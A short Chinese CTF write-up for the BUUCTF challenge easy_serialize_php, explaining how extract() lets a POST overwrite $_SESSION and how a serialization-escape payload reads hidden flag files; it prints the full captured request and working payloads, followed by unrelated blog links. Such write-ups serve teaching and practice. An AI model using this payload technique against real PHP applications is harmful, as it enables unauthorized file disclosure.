BUUCTF [安洵杯 2019]easy_serialize_php 1

打开题目,看到一串php代码,试着代码审计一下,看一下有用信息

可以看出是通过$_SESSION['img']来读取文件

extract可以将数组中的变量导入当前变量表

也就是说我们可以伪造$_SESSION 数组中的所有数据

这里传递一个参数f=phpinfo

先用hackbar进行post传参试试

然后直接抓包

POST /index.php HTTP/1.1

Host: 8fc7bd3e-f31b-4ff2-87e7-a4722b83e2ed.node5.buuoj.cn:81

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 142

Origin: http://8fc7bd3e-f31b-4ff2-87e7-a4722b83e2ed.node5.buuoj.cn:81

Connection: close

Referer: http://8fc7bd3e-f31b-4ff2-87e7-a4722b83e2ed.node5.buuoj.cn:81/index.php?f=highlight_file

Upgrade-Insecure-Requests: 1

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}&function=show_image

post传参

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}&function=show_image,逃逸

对d0g3_f1ag.php进行base64编码得到ZDBnM19mMWFnLnBocA==,填入burp

读取

替换编码_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}&function=show_image得到flag

相关推荐
крон2 小时前
【Auto.js例程】华为备忘录导出到其他手机
开发语言·javascript·智能手机
zh_xuan2 小时前
c++ 单例模式
开发语言·c++·单例模式
rorg3 小时前
使用 Laravel 中的自定义存根简化工作
php·laravel
老胖闲聊3 小时前
Python Copilot【代码辅助工具】 简介
开发语言·python·copilot
Blossom.1183 小时前
使用Python和Scikit-Learn实现机器学习模型调优
开发语言·人工智能·python·深度学习·目标检测·机器学习·scikit-learn
曹勖之3 小时前
基于ROS2,撰写python脚本,根据给定的舵-桨动力学模型实现动力学更新
开发语言·python·机器人·ros2
豆沙沙包?4 小时前
2025年- H77-Lc185--45.跳跃游戏II(贪心)--Java版
java·开发语言·游戏
军训猫猫头4 小时前
96.如何使用C#实现串口发送? C#例子
开发语言·c#
liuyang-neu4 小时前
java内存模型JMM
java·开发语言
我很好我还能学6 小时前
【面试篇 9】c++生成可执行文件的四个步骤、悬挂指针、define和const区别、c++定义和声明、将引用作为返回值的好处、类的四个缺省函数
开发语言·c++